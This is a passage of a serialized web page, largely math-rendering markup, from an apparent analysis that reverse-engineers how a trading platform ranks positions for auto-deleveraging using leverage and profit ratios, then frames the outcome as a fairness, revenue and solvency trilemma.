",{"type":23,"tag":154,"props":162287,"children":162289},{"className":162288},[],[162290],{"type":29,"value":162291},"abs_notional / account_value",{"type":29,"value":357},{"type":23,"tag":32,"props":162294,"children":162295},{},[162296],{"type":29,"value":162297},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":160825,"props":162299,"children":162303},{"addr":162300,"line-start":162301,"line-end":162302},"0x555556abb140","278","296",[],{"type":23,"tag":24,"props":162305,"children":162307},{"id":162306},"ratio-2-profit-ratio",[162308],{"type":29,"value":162309},"Ratio 2: Profit Ratio",{"type":23,"tag":4743,"props":162311,"children":162312},{},[162313],{"type":23,"tag":154,"props":162314,"children":162316},{"className":162315},[500,160853],[162317],{"type":23,"tag":504,"props":162318,"children":162320},{"className":162319},[160858],[162321],{"type":23,"tag":504,"props":162322,"children":162324},{"className":162323},[507],[162325],{"type":23,"tag":504,"props":162326,"children":162328},{"className":162327,"ariaHidden":513},[512],[162329,162360],{"type":23,"tag":504,"props":162330,"children":162332},{"className":162331},[518],[162333,162337,162347,162351,162356],{"type":23,"tag":504,"props":162334,"children":162336},{"className":162335,"style":116881},[523],[],{"type":23,"tag":504,"props":162338,"children":162340},{"className":162339},[529,29],[162341],{"type":23,"tag":504,"props":162342,"children":162344},{"className":162343},[529],[162345],{"type":29,"value":162346},"profit ratio",{"type":23,"tag":504,"props":162348,"children":162350},{"className":162349,"style":538},[537],[],{"type":23,"tag":504,"props":162352,"children":162354},{"className":162353},[543],[162355],{"type":29,"value":546},{"type":23,"tag":504,"props":162357,"children":162359},{"className":162358,"style":538},[537],[],{"type":23,"tag":504,"props":162361,"children":162363},{"className":162362},[518],[162364,162368],{"type":23,"tag":504,"props":162365,"children":162367},{"className":162366,"style":160906},[523],[],{"type":23,"tag":504,"props":162369,"children":162371},{"className":162370},[529],[162372,162376,162495],{"type":23,"tag":504,"props":162373,"children":162375},{"className":162374},[600,115344],[],{"type":23,"tag":504,"props":162377,"children":162379},{"className":162378},[115349],[162380],{"type":23,"tag":504,"props":162381,"children":162383},{"className":162382},[671,672],[162384,162484],{"type":23,"tag":504,"props":162385,"children":162387},{"className":162386},[677],[162388,162479],{"type":23,"tag":504,"props":162389,"children":162391},{"className":162390,"style":160931},[682],[162392,162413,162424],{"type":23,"tag":504,"props":162393,"children":162394},{"style":160935},[162395,162399],{"type":23,"tag":504,"props":162396,"children":162398},{"className":162397,"style":113997},[692],[],{"type":23,"tag":504,"props":162400,"children":162402},{"className":162401},[529],[162403],{"type":23,"tag":504,"props":162404,"children":162406},{"className":162405},[529,29],[162407],{"type":23,"tag":504,"props":162408,"children":162410},{"className":162409},[529],[162411],{"type":29,"value":162412},"entry notional",{"type":23,"tag":504,"props":162414,"children":162415},{"style":115399},[162416,162420],{"type":23,"tag":504,"props":162417,"children":162419},{"className":162418,"style":113997},[692],[],{"type":23,"tag":504,"props":162421,"children":162423},{"className":162422,"style":115409},[115408],[],{"type":23,"tag":504,"props":162425,"children":162426},{"style":160986},[162427,162431],{"type":23,"tag":504,"props":162428,"children":162430},{"className":162429,"style":113997},[692],[],{"type":23,"tag":504,"props":162432,"children":162434},{"className":162433},[529],[162435,162441,162446,162456,162461,162465,162469,162474],{"type":23,"tag":504,"props":162436,"children":162438},{"className":162437},[23673],[162439],{"type":29,"value":162440},"max",{"type":23,"tag":504,"props":162442,"children":162444},{"className":162443},[600],[162445],{"type":29,"value":603},{"type":23,"tag":504,"props":162447,"children":162449},{"className":162448},[529,29],[162450],{"type":23,"tag":504,"props":162451,"children":162453},{"className":162452},[529],[162454],{"type":29,"value":162455},"pnl",{"type":23,"tag":504,"props":162457,"children":162459},{"className":162458},[2267],[162460],{"type":29,"value":2270},{"type":23,"tag":504,"props":162462,"children":162464},{"className":162463,"style":2274},[537],[],{"type":23,"tag":504,"props":162466,"children":162468},{"className":162467,"style":2274},[537],[],{"type":23,"tag":504,"props":162470,"children":162472},{"className":162471},[529],[162473],{"type":29,"value":708},{"type":23,"tag":504,"props":162475,"children":162477},{"className":162476},[930],[162478],{"type":29,"value":933},{"type":23,"tag":504,"props":162480,"children":162482},{"className":162481},[712],[162483],{"type":29,"value":715},{"type":23,"tag":504,"props":162485,"children":162487},{"className":162486},[677],[162488],{"type":23,"tag":504,"props":162489,"children":162491},{"className":162490,"style":161029},[682],[162492],{"type":23,"tag":504,"props":162493,"children":162494},{},[],{"type":23,"tag":504,"props":162496,"children":162498},{"className":162497},[930,115344],[],{"type":23,"tag":32,"props":162500,"children":162501},{},[162502,162504,162510],{"type":29,"value":162503},"It uses entry notional (",{"type":23,"tag":154,"props":162505,"children":162507},{"className":162506},[],[162508],{"type":29,"value":162509},"r14_2",{"type":29,"value":162511},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":32,"props":162513,"children":162514},{},[162515],{"type":29,"value":162516},"This basically tells us how well the user's bet went.",{"type":23,"tag":160825,"props":162518,"children":162522},{"addr":162519,"addr-start":162520,"addr-end":162521},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":32,"props":162524,"children":162525},{},[162526,162528,162534,162536,162542],{"type":29,"value":162527},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":154,"props":162529,"children":162531},{"className":162530},[],[162532],{"type":29,"value":162533},"1e-8",{"type":29,"value":162535},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":154,"props":162537,"children":162539},{"className":162538},[],[162540],{"type":29,"value":162541},"effective_leverage * profit_ratio",{"type":29,"value":162543},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":32,"props":162545,"children":162546},{},[162547],{"type":29,"value":162548},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":320,"props":162550,"children":162552},{"id":162551},"partial-and-total-adl",[162553],{"type":29,"value":162554},"Partial and Total ADL",{"type":23,"tag":32,"props":162556,"children":162557},{},[162558],{"type":29,"value":162559},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":32,"props":162561,"children":162562},{},[162563],{"type":29,"value":162564},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":32,"props":162566,"children":162567},{},[162568,162570,162575],{"type":29,"value":162569},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":154,"props":162571,"children":162573},{"className":162572},[],[162574],{"type":29,"value":161150},{"type":29,"value":162576}," boils down to:",{"type":23,"tag":160825,"props":162578,"children":162581},{"addr":161196,"line-start":162579,"line-end":162580},"3252","3632",[],{"type":23,"tag":32,"props":162583,"children":162584},{},[162585],{"type":29,"value":162586},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":37429,"props":162588,"children":162590},{"id":162589},"branches",[162591],{"type":29,"value":162592},"Branches",{"type":23,"tag":32,"props":162594,"children":162595},{},[162596],{"type":29,"value":162597},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":32,"props":162599,"children":162600},{},[162601],{"type":29,"value":162602},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":37429,"props":162604,"children":162606},{"id":162605},"financial-conclusions",[162607],{"type":29,"value":162608},"Financial Conclusions",{"type":23,"tag":24,"props":162610,"children":162612},{"id":162611},"fairness-revenue-solvency-trilemma",[162613],{"type":29,"value":162614},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":32,"props":162616,"children":162617},{},[162618,162620,162626],{"type":29,"value":162619},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":68,"props":162621,"children":162623},{"href":161978,"rel":162622},[72],[162624],{"type":29,"value":162625},"the paper mentioned before",{"type":29,"value":162627},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":1022,"props":162629,"children":162630},{},[162631,162641,162651],{"type":23,"tag":143,"props":162632,"children":162633},{},[162634,162639],{"type":23,"tag":4321,"props":162635,"children":162636},{},[162637],{"type":29,"value":162638},"Solvency",{"type":29,"value":162640},": can the platform pay every trader out?",{"type":23,"tag":143,"props":162642,"children":162643},{},[162644,162649],{"type":23,"tag":4321,"props":162645,"children":162646},{},[162647],{"type":29,"value":162648},"Fairness",{"type":29,"value":162650},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":143,"props":162652,"children":162653},{},[162654,162659],{"type":23,"tag":4321,"props":162655,"children":162656},{},[162657],{"type":29,"value":162658},"Revenue",{"type":29,"value":162660},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":32,"props":162662,"children":162663},{},[162664],{"type":29,"value":162665},"Let's borrow these definitions from the paper:",{"type":23,"tag":4743,"props":162667,"children":162668},{},[162669],{"type":23,"tag":154,"props":162670,"children":162672},{"className":162671},[500,160853],[162673],{"type":23,"tag":504,"props":162674,"children":162676},{"className":162675},[160858],[162677],{"type":23,"tag":504,"props":162678,"children":162680},{"className":162679},[507],[162681],{"type":23,"tag":504,"props":162682,"children":162684},{"className":162683,"ariaHidden":513},[512],[162685],{"type":23,"tag":504,"props":162686,"children":162688},{"className":162687},[518],[162689,162694],{"type":23,"tag":504,"props":162690,"children":162693},{"className":162691,"style":162692},[523],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":504,"props":162695,"children":162697},{"className":162696},[529],[162698],{"type":23,"tag":504,"props":162699,"children":162701},{"className":162700},[161555],[162702,163521],{"type":23,"tag":504,"props":162703,"children":162705},{"className":162704},[161560],[162706],{"type":23,"tag":504,"props":162707,"children":162709},{"className":162708},[671,672],[162710,163509],{"type":23,"tag":504,"props":162711,"children":162713},{"className":162712},[677],[162714,163504],{"type":23,"tag":504,"props":162715,"children":162718},{"className":162716,"style":162717},[682],"height:11.8392em;",[162719,162790,162807,162876,162946,163015,163085,163154,163223,163292,163362,163433],{"type":23,"tag":504,"props":162720,"children":162722},{"style":162721},"top:-14.3707em;",[162723,162728],{"type":23,"tag":504,"props":162724,"children":162727},{"className":162725,"style":162726},[692],"height:3.3714em;",[],{"type":23,"tag":504,"props":162729,"children":162731},{"className":162730},[529],[162732],{"type":23,"tag":504,"props":162733,"children":162735},{"className":162734},[529],[162736,162741],{"type":23,"tag":504,"props":162737,"children":162739},{"className":162738,"style":563},[529,530],[162740],{"type":29,"value":566},{"type":23,"tag":504,"props":162742,"children":162744},{"className":162743},[666],[162745],{"type":23,"tag":504,"props":162746,"children":162748},{"className":162747},[671,672],[162749,162779],{"type":23,"tag":504,"props":162750,"children":162752},{"className":162751},[677],[162753,162774],{"type":23,"tag":504,"props":162754,"children":162756},{"className":162755,"style":111258},[682],[162757],{"type":23,"tag":504,"props":162758,"children":162760},{"style":162759},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[162761,162765],{"type":23,"tag":504,"props":162762,"children":162764},{"className":162763,"style":693},[692],[],{"type":23,"tag":504,"props":162766,"children":162768},{"className":162767},[698,699,700,701],[162769],{"type":23,"tag":504,"props":162770,"children":162772},{"className":162771},[529,530,701],[162773],{"type":29,"value":596},{"type":23,"tag":504,"props":162775,"children":162777},{"className":162776},[712],[162778],{"type":29,"value":715},{"type":23,"tag":504,"props":162780,"children":162782},{"className":162781},[677],[162783],{"type":23,"tag":504,"props":162784,"children":162786},{"className":162785,"style":723},[682],[162787],{"type":23,"tag":504,"props":162788,"children":162789},{},[],{"type":23,"tag":504,"props":162791,"children":162793},{"style":162792},"top:-12.8707em;",[162794,162798],{"type":23,"tag":504,"props":162795,"children":162797},{"className":162796,"style":162726},[692],[],{"type":23,"tag":504,"props":162799,"children":162801},{"className":162800},[529],[162802],{"type":23,"tag":504,"props":162803,"children":162805},{"className":162804,"style":2686},[529,530],[162806],{"type":29,"value":2721},{"type":23,"tag":504,"props":162808,"children":162810},{"style":162809},"top:-10.8392em;",[162811,162815],{"type":23,"tag":504,"props":162812,"children":162814},{"className":162813,"style":162726},[692],[],{"type":23,"tag":504,"props":162816,"children":162818},{"className":162817},[529],[162819],{"type":23,"tag":504,"props":162820,"children":162822},{"className":162821},[529],[162823,162828],{"type":23,"tag":504,"props":162824,"children":162826},{"className":162825},[529,530],[162827],{"type":29,"value":3110},{"type":23,"tag":504,"props":162829,"children":162831},{"className":162830},[666],[162832],{"type":23,"tag":504,"props":162833,"children":162835},{"className":162834},[671,672],[162836,162865],{"type":23,"tag":504,"props":162837,"children":162839},{"className":162838},[677],[162840,162860],{"type":23,"tag":504,"props":162841,"children":162843},{"className":162842,"style":1180},[682],[162844],{"type":23,"tag":504,"props":162845,"children":162846},{"style":687},[162847,162851],{"type":23,"tag":504,"props":162848,"children":162850},{"className":162849,"style":693},[692],[],{"type":23,"tag":504,"props":162852,"children":162854},{"className":162853},[698,699,700,701],[162855],{"type":23,"tag":504,"props":162856,"children":162858},{"className":162857},[529,530,701],[162859],{"type":29,"value":578},{"type":23,"tag":504,"props":162861,"children":162863},{"className":162862},[712],[162864],{"type":29,"value":715},{"type":23,"tag":504,"props":162866,"children":162868},{"className":162867},[677],[162869],{"type":23,"tag":504,"props":162870,"children":162872},{"className":162871,"style":723},[682],[162873],{"type":23,"tag":504,"props":162874,"children":162875},{},[],{"type":23,"tag":504,"props":162877,"children":162879},{"style":162878},"top:-8.8188em;",[162880,162884],{"type":23,"tag":504,"props":162881,"children":162883},{"className":162882,"style":162726},[692],[],{"type":23,"tag":504,"props":162885,"children":162887},{"className":162886},[529],[162888],{"type":23,"tag":504,"props":162889,"children":162891},{"className":162890},[529],[162892,162898],{"type":23,"tag":504,"props":162893,"children":162895},{"className":162894,"style":1136},[529,530],[162896],{"type":29,"value":162897},"π",{"type":23,"tag":504,"props":162899,"children":162901},{"className":162900},[666],[162902],{"type":23,"tag":504,"props":162903,"children":162905},{"className":162904},[671,672],[162906,162935],{"type":23,"tag":504,"props":162907,"children":162909},{"className":162908},[677],[162910,162930],{"type":23,"tag":504,"props":162911,"children":162913},{"className":162912,"style":1180},[682],[162914],{"type":23,"tag":504,"props":162915,"children":162916},{"style":1184},[162917,162921],{"type":23,"tag":504,"props":162918,"children":162920},{"className":162919,"style":693},[692],[],{"type":23,"tag":504,"props":162922,"children":162924},{"className":162923},[698,699,700,701],[162925],{"type":23,"tag":504,"props":162926,"children":162928},{"className":162927},[529,530,701],[162929],{"type":29,"value":578},{"type":23,"tag":504,"props":162931,"children":162933},{"className":162932},[712],[162934],{"type":29,"value":715},{"type":23,"tag":504,"props":162936,"children":162938},{"className":162937},[677],[162939],{"type":23,"tag":504,"props":162940,"children":162942},{"className":162941,"style":723},[682],[162943],{"type":23,"tag":504,"props":162944,"children":162945},{},[],{"type":23,"tag":504,"props":162947,"children":162949},{"style":162948},"top:-7.3188em;",[162950,162954],{"type":23,"tag":504,"props":162951,"children":162953},{"className":162952,"style":162726},[692],[],{"type":23,"tag":504,"props":162955,"children":162957},{"className":162956},[529],[162958],{"type":23,"tag":504,"props":162959,"children":162961},{"className":162960},[529],[162962,162967],{"type":23,"tag":504,"props":162963,"children":162965},{"className":162964},[529,530],[162966],{"type":29,"value":1132},{"type":23,"tag":504,"props":162968,"children":162970},{"className":162969},[666],[162971],{"type":23,"tag":504,"props":162972,"children":162974},{"className":162973},[671,672],[162975,163004],{"type":23,"tag":504,"props":162976,"children":162978},{"className":162977},[677],[162979,162999],{"type":23,"tag":504,"props":162980,"children":162982},{"className":162981,"style":1180},[682],[162983],{"type":23,"tag":504,"props":162984,"children":162985},{"style":687},[162986,162990],{"type":23,"tag":504,"props":162987,"children":162989},{"className":162988,"style":693},[692],[],{"type":23,"tag":504,"props":162991,"children":162993},{"className":162992},[698,699,700,701],[162994],{"type":23,"tag":504,"props":162995,"children":162997},{"className":162996},[529,530,701],[162998],{"type":29,"value":578},{"type":23,"tag":504,"props":163000,"children":163002},{"className":163001},[712],[163003],{"type":29,"value":715},{"type":23,"tag":504,"props":163005,"children":163007},{"className":163006},[677],[163008],{"type":23,"tag":504,"props":163009,"children":163011},{"className":163010,"style":723},[682],[163012],{"type":23,"tag":504,"props":163013,"children":163014},{},[],{"type":23,"tag":504,"props":163016,"children":163018},{"style":163017},"top:-5.8188em;",[163019,163023],{"type":23,"tag":504,"props":163020,"children":163022},{"className":163021,"style":162726},[692],[],{"type":23,"tag":504,"props":163024,"children":163026},{"className":163025},[529],[163027],{"type":23,"tag":504,"props":163028,"children":163030},{"className":163029},[529],[163031,163036],{"type":23,"tag":504,"props":163032,"children":163034},{"className":163033,"style":124106},[529,530],[163035],{"type":29,"value":51635},{"type":23,"tag":504,"props":163037,"children":163039},{"className":163038},[666],[163040],{"type":23,"tag":504,"props":163041,"children":163043},{"className":163042},[671,672],[163044,163074],{"type":23,"tag":504,"props":163045,"children":163047},{"className":163046},[677],[163048,163069],{"type":23,"tag":504,"props":163049,"children":163051},{"className":163050,"style":1180},[682],[163052],{"type":23,"tag":504,"props":163053,"children":163055},{"style":163054},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[163056,163060],{"type":23,"tag":504,"props":163057,"children":163059},{"className":163058,"style":693},[692],[],{"type":23,"tag":504,"props":163061,"children":163063},{"className":163062},[698,699,700,701],[163064],{"type":23,"tag":504,"props":163065,"children":163067},{"className":163066},[529,530,701],[163068],{"type":29,"value":578},{"type":23,"tag":504,"props":163070,"children":163072},{"className":163071},[712],[163073],{"type":29,"value":715},{"type":23,"tag":504,"props":163075,"children":163077},{"className":163076},[677],[163078],{"type":23,"tag":504,"props":163079,"children":163081},{"className":163080,"style":723},[682],[163082],{"type":23,"tag":504,"props":163083,"children":163084},{},[],{"type":23,"tag":504,"props":163086,"children":163088},{"style":163087},"top:-4.3188em;",[163089,163093],{"type":23,"tag":504,"props":163090,"children":163092},{"className":163091,"style":162726},[692],[],{"type":23,"tag":504,"props":163094,"children":163096},{"className":163095},[529],[163097],{"type":23,"tag":504,"props":163098,"children":163100},{"className":163099},[529],[163101,163106],{"type":23,"tag":504,"props":163102,"children":163104},{"className":163103},[529,530],[163105],{"type":29,"value":21327},{"type":23,"tag":504,"props":163107,"children":163109},{"className":163108},[666],[163110],{"type":23,"tag":504,"props":163111,"children":163113},{"className":163112},[671,672],[163114,163143],{"type":23,"tag":504,"props":163115,"children":163117},{"className":163116},[677],[163118,163138],{"type":23,"tag":504,"props":163119,"children":163121},{"className":163120,"style":1180},[682],[163122],{"type":23,"tag":504,"props":163123,"children":163124},{"style":687},[163125,163129],{"type":23,"tag":504,"props":163126,"children":163128},{"className":163127,"style":693},[692],[],{"type":23,"tag":504,"props":163130,"children":163132},{"className":163131},[698,699,700,701],[163133],{"type":23,"tag":504,"props":163134,"children":163136},{"className":163135},[529,530,701],[163137],{"type":29,"value":578},{"type":23,"tag":504,"props":163139,"children":163141},{"className":163140},[712],[163142],{"type":29,"value":715},{"type":23,"tag":504,"props":163144,"children":163146},{"className":163145},[677],[163147],{"type":23,"tag":504,"props":163148,"children":163150},{"className":163149,"style":723},[682],[163151],{"type":23,"tag":504,"props":163152,"children":163153},{},[],{"type":23,"tag":504,"props":163155,"children":163157},{"style":163156},"top:-2.5512em;",[163158,163162],{"type":23,"tag":504,"props":163159,"children":163161},{"className":163160,"style":162726},[692],[],{"type":23,"tag":504,"props":163163,"children":163165},{"className":163164},[529],[163166],{"type":23,"tag":504,"props":163167,"children":163169},{"className":163168},[529],[163170,163175],{"type":23,"tag":504,"props":163171,"children":163173},{"className":163172},[529,530],[163174],{"type":29,"value":533},{"type":23,"tag":504,"props":163176,"children":163178},{"className":163177},[666],[163179],{"type":23,"tag":504,"props":163180,"children":163182},{"className":163181},[671,672],[163183,163212],{"type":23,"tag":504,"props":163184,"children":163186},{"className":163185},[677],[163187,163207],{"type":23,"tag":504,"props":163188,"children":163190},{"className":163189,"style":1180},[682],[163191],{"type":23,"tag":504,"props":163192,"children":163193},{"style":687},[163194,163198],{"type":23,"tag":504,"props":163195,"children":163197},{"className":163196,"style":693},[692],[],{"type":23,"tag":504,"props":163199,"children":163201},{"className":163200},[698,699,700,701],[163202],{"type":23,"tag":504,"props":163203,"children":163205},{"className":163204},[529,530,701],[163206],{"type":29,"value":578},{"type":23,"tag":504,"props":163208,"children":163210},{"className":163209},[712],[163211],{"type":29,"value":715},{"type":23,"tag":504,"props":163213,"children":163215},{"className":163214},[677],[163216],{"type":23,"tag":504,"props":163217,"children":163219},{"className":163218,"style":723},[682],[163220],{"type":23,"tag":504,"props":163221,"children":163222},{},[],{"type":23,"tag":504,"props":163224,"children":163226},{"style":163225},"top:-0.3652em;",[163227,163231],{"type":23,"tag":504,"props":163228,"children":163230},{"className":163229,"style":162726},[692],[],{"type":23,"tag":504,"props":163232,"children":163234},{"className":163233},[529],[163235],{"type":23,"tag":504,"props":163236,"children":163238},{"className":163237},[529],[163239,163244],{"type":23,"tag":504,"props":163240,"children":163242},{"className":163241,"style":879},[529,530],[163243],{"type":29,"value":882},{"type":23,"tag":504,"props":163245,"children":163247},{"className":163246},[666],[163248],{"type":23,"tag":504,"props":163249,"children":163251},{"className":163250},[671,672],[163252,163281],{"type":23,"tag":504,"props":163253,"children":163255},{"className":163254},[677],[163256,163276],{"type":23,"tag":504,"props":163257,"children":163259},{"className":163258,"style":144381},[682],[163260],{"type":23,"tag":504,"props":163261,"children":163262},{"style":112255},[163263,163267],{"type":23,"tag":504,"props":163264,"children":163266},{"className":163265,"style":693},[692],[],{"type":23,"tag":504,"props":163268,"children":163270},{"className":163269},[698,699,700,701],[163271],{"type":23,"tag":504,"props":163272,"children":163274},{"className":163273,"style":563},[529,530,701],[163275],{"type":29,"value":8033},{"type":23,"tag":504,"props":163277,"children":163279},{"className":163278},[712],[163280],{"type":29,"value":715},{"type":23,"tag":504,"props":163282,"children":163284},{"className":163283},[677],[163285],{"type":23,"tag":504,"props":163286,"children":163288},{"className":163287,"style":723},[682],[163289],{"type":23,"tag":504,"props":163290,"children":163291},{},[],{"type":23,"tag":504,"props":163293,"children":163295},{"style":163294},"top:2.2624em;",[163296,163300],{"type":23,"tag":504,"props":163297,"children":163299},{"className":163298,"style":162726},[692],[],{"type":23,"tag":504,"props":163301,"children":163303},{"className":163302},[529],[163304],{"type":23,"tag":504,"props":163305,"children":163307},{"className":163306},[529],[163308,163314],{"type":23,"tag":504,"props":163309,"children":163311},{"className":163310,"style":624},[529,530],[163312],{"type":29,"value":163313},"D",{"type":23,"tag":504,"props":163315,"children":163317},{"className":163316},[666],[163318],{"type":23,"tag":504,"props":163319,"children":163321},{"className":163320},[671,672],[163322,163351],{"type":23,"tag":504,"props":163323,"children":163325},{"className":163324},[677],[163326,163346],{"type":23,"tag":504,"props":163327,"children":163329},{"className":163328,"style":144381},[682],[163330],{"type":23,"tag":504,"props":163331,"children":163332},{"style":111825},[163333,163337],{"type":23,"tag":504,"props":163334,"children":163336},{"className":163335,"style":693},[692],[],{"type":23,"tag":504,"props":163338,"children":163340},{"className":163339},[698,699,700,701],[163341],{"type":23,"tag":504,"props":163342,"children":163344},{"className":163343,"style":563},[529,530,701],[163345],{"type":29,"value":8033},{"type":23,"tag":504,"props":163347,"children":163349},{"className":163348},[712],[163350],{"type":29,"value":715},{"type":23,"tag":504,"props":163352,"children":163354},{"className":163353},[677],[163355],{"type":23,"tag":504,"props":163356,"children":163358},{"className":163357,"style":723},[682],[163359],{"type":23,"tag":504,"props":163360,"children":163361},{},[],{"type":23,"tag":504,"props":163363,"children":163365},{"style":163364},"top:4.8901em;",[163366,163370],{"type":23,"tag":504,"props":163367,"children":163369},{"className":163368,"style":162726},[692],[],{"type":23,"tag":504,"props":163371,"children":163373},{"className":163372},[529],[163374],{"type":23,"tag":504,"props":163375,"children":163377},{"className":163376},[529],[163378,163384],{"type":23,"tag":504,"props":163379,"children":163381},{"className":163380,"style":2674},[529,530],[163382],{"type":29,"value":163383},"U",{"type":23,"tag":504,"props":163385,"children":163387},{"className":163386},[666],[163388],{"type":23,"tag":504,"props":163389,"children":163391},{"className":163390},[671,672],[163392,163422],{"type":23,"tag":504,"props":163393,"children":163395},{"className":163394},[677],[163396,163417],{"type":23,"tag":504,"props":163397,"children":163399},{"className":163398,"style":144381},[682],[163400],{"type":23,"tag":504,"props":163401,"children":163403},{"style":163402},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[163404,163408],{"type":23,"tag":504,"props":163405,"children":163407},{"className":163406,"style":693},[692],[],{"type":23,"tag":504,"props":163409,"children":163411},{"className":163410},[698,699,700,701],[163412],{"type":23,"tag":504,"props":163413,"children":163415},{"className":163414,"style":563},[529,530,701],[163416],{"type":29,"value":8033},{"type":23,"tag":504,"props":163418,"children":163420},{"className":163419},[712],[163421],{"type":29,"value":715},{"type":23,"tag":504,"props":163423,"children":163425},{"className":163424},[677],[163426],{"type":23,"tag":504,"props":163427,"children":163429},{"className":163428,"style":723},[682],[163430],{"type":23,"tag":504,"props":163431,"children":163432},{},[],{"type":23,"tag":504,"props":163434,"children":163436},{"style":163435},"top:7.3078em;",[163437,163441],{"type":23,"tag":504,"props":163438,"children":163440},{"className":163439,"style":162726},[692],[],{"type":23,"tag":504,"props":163442,"children":163444},{"className":163443},[529],[163445],{"type":23,"tag":504,"props":163446,"children":163448},{"className":163447},[529],[163449,163454],{"type":23,"tag":504,"props":163450,"children":163452},{"className":163451,"style":124603},[529,530],[163453],{"type":29,"value":124606},{"type":23,"tag":504,"props":163455,"children":163457},{"className":163456},[666],[163458],{"type":23,"tag":504,"props":163459,"children":163461},{"className":163460},[671,672],[163462,163493],{"type":23,"tag":504,"props":163463,"children":163465},{"className":163464},[677],[163466,163488],{"type":23,"tag":504,"props":163467,"children":163470},{"className":163468,"style":163469},[682],"height:0.2806em;",[163471],{"type":23,"tag":504,"props":163472,"children":163474},{"style":163473},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[163475,163479],{"type":23,"tag":504,"props":163476,"children":163478},{"className":163477,"style":693},[692],[],{"type":23,"tag":504,"props":163480,"children":163482},{"className":163481},[698,699,700,701],[163483],{"type":23,"tag":504,"props":163484,"children":163486},{"className":163485},[529,530,701],[163487],{"type":29,"value":620},{"type":23,"tag":504,"props":163489,"children":163491},{"className":163490},[712],[163492],{"type":29,"value":715},{"type":23,"tag":504,"props":163494,"children":163496},{"className":163495},[677],[163497],{"type":23,"tag":504,"props":163498,"children":163500},{"className":163499,"style":723},[682],[163501],{"type":23,"tag":504,"props":163502,"children":163503},{},[],{"type":23,"tag":504,"props":163505,"children":163507},{"className":163506},[712],[163508],{"type":29,"value":715},{"type":23,"tag":504,"props":163510,"children":163512},{"className":163511},[677],[163513],{"type":23,"tag":504,"props":163514,"children":163517},{"className":163515,"style":163516},[682],"height:11.3392em;",[163518],{"type":23,"tag":504,"props":163519,"children":163520},{},[],{"type":23,"tag":504,"props":163522,"children":163524},{"className":163523},[161640],[163525],{"type":23,"tag":504,"props":163526,"children":163528},{"className":163527},[671,672],[163529,165231],{"type":23,"tag":504,"props":163530,"children":163532},{"className":163531},[677],[163533,165226],{"type":23,"tag":504,"props":163534,"children":163536},{"className":163535,"style":162717},[682],[163537,163575,163613,163760,163995,164150,164255,164298,164519,164678,164868,165020],{"type":23,"tag":504,"props":163538,"children":163539},{"style":162721},[163540,163544],{"type":23,"tag":504,"props":163541,"children":163543},{"className":163542,"style":162726},[692],[],{"type":23,"tag":504,"props":163545,"children":163547},{"className":163546},[529],[163548,163552,163556,163561,163565],{"type":23,"tag":504,"props":163549,"children":163551},{"className":163550},[529],[],{"type":23,"tag":504,"props":163553,"children":163555},{"className":163554,"style":538},[537],[],{"type":23,"tag":504,"props":163557,"children":163559},{"className":163558},[543],[163560],{"type":29,"value":23656},{"type":23,"tag":504,"props":163562,"children":163564},{"className":163563,"style":538},[537],[],{"type":23,"tag":504,"props":163566,"children":163568},{"className":163567},[529,29],[163569],{"type":23,"tag":504,"props":163570,"children":163572},{"className":163571},[529],[163573],{"type":29,"value":163574},"mark price",{"type":23,"tag":504,"props":163576,"children":163577},{"style":162792},[163578,163582],{"type":23,"tag":504,"props":163579,"children":163581},{"className":163580,"style":162726},[692],[],{"type":23,"tag":504,"props":163583,"children":163585},{"className":163584},[529],[163586,163590,163594,163599,163603],{"type":23,"tag":504,"props":163587,"children":163589},{"className":163588},[529],[],{"type":23,"tag":504,"props":163591,"children":163593},{"className":163592,"style":538},[537],[],{"type":23,"tag":504,"props":163595,"children":163597},{"className":163596},[543],[163598],{"type":29,"value":23656},{"type":23,"tag":504,"props":163600,"children":163602},{"className":163601,"style":538},[537],[],{"type":23,"tag":504,"props":163604,"children":163606},{"className":163605},[529,29],[163607],{"type":23,"tag":504,"props":163608,"children":163610},{"className":163609},[529],[163611],{"type":29,"value":163612},"insurance fund",{"type":23,"tag":504,"props":163614,"children":163615},{"style":162809},[163616,163620],{"type":23,"tag":504,"props":163617,"children":163619},{"className":163618,"style":162726},[692],[],{"type":23,"tag":504,"props":163621,"children":163623},{"className":163622},[529],[163624,163628,163632,163637,163641,163651,163655,163660,163664],{"type":23,"tag":504,"props":163625,"children":163627},{"className":163626},[529],[],{"type":23,"tag":504,"props":163629,"children":163631},{"className":163630,"style":538},[537],[],{"type":23,"tag":504,"props":163633,"children":163635},{"className":163634},[543],[163636],{"type":29,"value":23656},{"type":23,"tag":504,"props":163638,"children":163640},{"className":163639,"style":538},[537],[],{"type":23,"tag":504,"props":163642,"children":163644},{"className":163643},[529,29],[163645],{"type":23,"tag":504,"props":163646,"children":163648},{"className":163647},[529],[163649],{"type":29,"value":163650},"collateral",{"type":23,"tag":504,"props":163652,"children":163654},{"className":163653,"style":538},[537],[],{"type":23,"tag":504,"props":163656,"children":163658},{"className":163657},[543],[163659],{"type":29,"value":546},{"type":23,"tag":504,"props":163661,"children":163663},{"className"